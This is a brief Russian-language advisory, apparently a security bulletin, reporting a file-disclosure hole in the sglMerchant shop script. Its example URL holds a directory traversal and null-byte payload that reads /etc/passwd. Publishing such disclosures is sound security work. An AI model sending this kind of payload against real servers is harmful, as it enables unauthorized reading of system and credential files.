Дырка в sglMerchant позволяет просматривать
любые файлы. Пример:

http://www.example.com/cgi-shop/view_item? HTML_FILE=../../../../../../etc/passwd%00

Оставить мнение